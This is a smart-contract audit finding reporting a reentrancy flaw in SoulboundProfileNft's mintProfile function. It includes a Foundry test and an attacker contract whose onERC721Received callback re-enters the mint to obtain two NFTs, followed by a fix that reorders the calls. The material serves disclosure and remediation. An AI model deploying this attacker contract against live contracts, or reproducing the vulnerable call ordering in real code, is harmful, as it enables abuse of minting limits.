104 lines
3.4 KiB
Markdown
104 lines
3.4 KiB
Markdown
# M-04. Reentrancy in `SoulboundProfileNft::mintProfile` allows minting multiple NFTs per address, which disrupts protocol expectations
|
||
|
||
## Approved finding by someone else
|
||
|
||
## Summary
|
||
|
||
In `mintProfile`, the internal `_safeMint` function is called before updating the contract state (`_profiles[tokenId]` and `profileToToken[msg.sender]`). This violates CEI, as `_safeMint` calls an internal function that could invoke an external contract if `msg.sender` is a contract with a malicious `onERC721Received` implementation.
|
||
|
||
Source Code:
|
||
|
||
```
|
||
function mintProfile(string memory name, uint8 age, string memory profileImage) external {
|
||
require(profileToToken[msg.sender] == 0, "Profile already exists");
|
||
|
||
uint256 tokenId = ++_nextTokenId;
|
||
_safeMint(msg.sender, tokenId);
|
||
|
||
// Store metadata on-chain
|
||
_profiles[tokenId] = Profile(name, age, profileImage);
|
||
profileToToken[msg.sender] = tokenId;
|
||
|
||
emit ProfileMinted(msg.sender, tokenId, name, age, profileImage);
|
||
}
|
||
```
|
||
|
||
## Vulnerability Details
|
||
|
||
Copy this test and auxiliary contract in the unit test suite to prove that an attacker can mint multiple NFTs:
|
||
|
||
```
|
||
function testReentrancyMultipleNft() public {
|
||
MaliciousContract maliciousContract = new MaliciousContract(
|
||
address(soulboundNFT)
|
||
);
|
||
vm.prank(address(maliciousContract));
|
||
MaliciousContract(maliciousContract).attack();
|
||
assertEq(soulboundNFT.balanceOf(address(maliciousContract)), 2);
|
||
assertEq(soulboundNFT.profileToToken(address(maliciousContract)), 1);
|
||
}
|
||
```
|
||
|
||
```
|
||
contract MaliciousContract {
|
||
SoulboundProfileNFT soulboundNFT;
|
||
uint256 counter;
|
||
|
||
constructor(address _soulboundNFT) {
|
||
soulboundNFT = SoulboundProfileNFT(_soulboundNFT);
|
||
}
|
||
|
||
// Malicious reentrancy attack
|
||
function attack() external {
|
||
soulboundNFT.mintProfile("Evil", 99, "malicious.png");
|
||
}
|
||
|
||
// Malicious onERC721Received function
|
||
function onERC721Received(
|
||
address operator,
|
||
address from,
|
||
uint256 tokenId,
|
||
bytes calldata data
|
||
) external returns (bytes4) {
|
||
// Reenter the mintProfile function
|
||
if (counter == 0) {
|
||
counter++;
|
||
soulboundNFT.mintProfile("EvilAgain", 100, "malicious2.png");
|
||
}
|
||
return 0x150b7a02;
|
||
}
|
||
}
|
||
```
|
||
|
||
## Impact
|
||
|
||
The attacker could end up having multiple NTFs, but only one profile. This is because the `mintProfile`function resets the `profileToToken`mapping each time. At the end, the attacker will have only one profile connecting with one token ID with the information of the first mint.
|
||
|
||
I consider that the severity is Low because the `LikeRegistry`contract works with the token IDs, not the NFTs. So, the impact will be a disruption in the relation of the amount of NTFs and the amount of profiles.
|
||
|
||
## Tools Used
|
||
|
||
Foundry
|
||
|
||
Slither
|
||
|
||
## Recommendations
|
||
|
||
To follow CEI properly, move `_safeMint` to the end:
|
||
|
||
```
|
||
function mintProfile(string memory name, uint8 age, string memory profileImage) external {
|
||
require(profileToToken[msg.sender] == 0, "Profile already exists");
|
||
|
||
uint256 tokenId = ++_nextTokenId;
|
||
- _safeMint(msg.sender, tokenId);
|
||
|
||
// Store metadata on-chain
|
||
_profiles[tokenId] = Profile(name, age, profileImage);
|
||
profileToToken[msg.sender] = tokenId;
|
||
|
||
+ _safeMint(msg.sender, tokenId);
|
||
|
||
emit ProfileMinted(msg.sender, tokenId, name, age, profileImage);
|
||
}
|
||
``` |